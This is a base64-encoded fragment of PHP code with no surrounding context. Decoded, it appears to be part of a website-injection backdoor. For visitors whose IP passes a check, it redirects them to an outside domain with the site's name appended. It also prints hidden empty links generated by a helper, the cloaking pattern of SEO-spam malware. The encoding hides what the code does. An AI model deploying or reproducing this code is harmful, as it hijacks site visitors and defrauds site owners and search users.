IEp1bXAoKXsKCQlpZigkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJJGRvbWFpbiAgPSBzdHJfcmVw bGFjZSgiLiIsIl8iLCR0aGlzLT5kb21haW4pOwoJCQloZWFkZXIoJ0xvY2F0aW9uOiBodHRwOi8v bnQud3hjb29sYmFieS5jb20vbnQvP2pwXycuJGRvbWFpbik7CgkJCWV4aXQ7CgkJfQoJfQoJCglw dWJsaWMgZnVuY3Rpb24gX3VuY29uZGl0aW9uX2hvb2soKXsKCQkkYXJyYXkgPSBhcnJheSgpOwoJ CWZvcigkYT0wOyRhPDU7JGErKyl7CgkJCWVjaG8gJzxhIGhyZWY9IicuQXBwX0dldExpbmsoKS4n Ij48L2E+Jy4iXG4iOwoJCX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gX3VuU3BpZGVyX2hvb2soKXsK CQkvLwoJfQoKCglwdWJsaWMgZnVuY3Rpb24gc3RyU3RhcnRXaXRoKCRuZWVkbGUsICRoYXlzdGFj ayl7CiAgCSAgcmV0dXJuIChzdWJzdHIoJGhheXN0YWNrLCAwLCBzdHJsZW4oJG5lZWRsZSkpPT0k bmVlZGxlKTsKCX0KCQoJcHVibGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAK CQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5k LCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgo=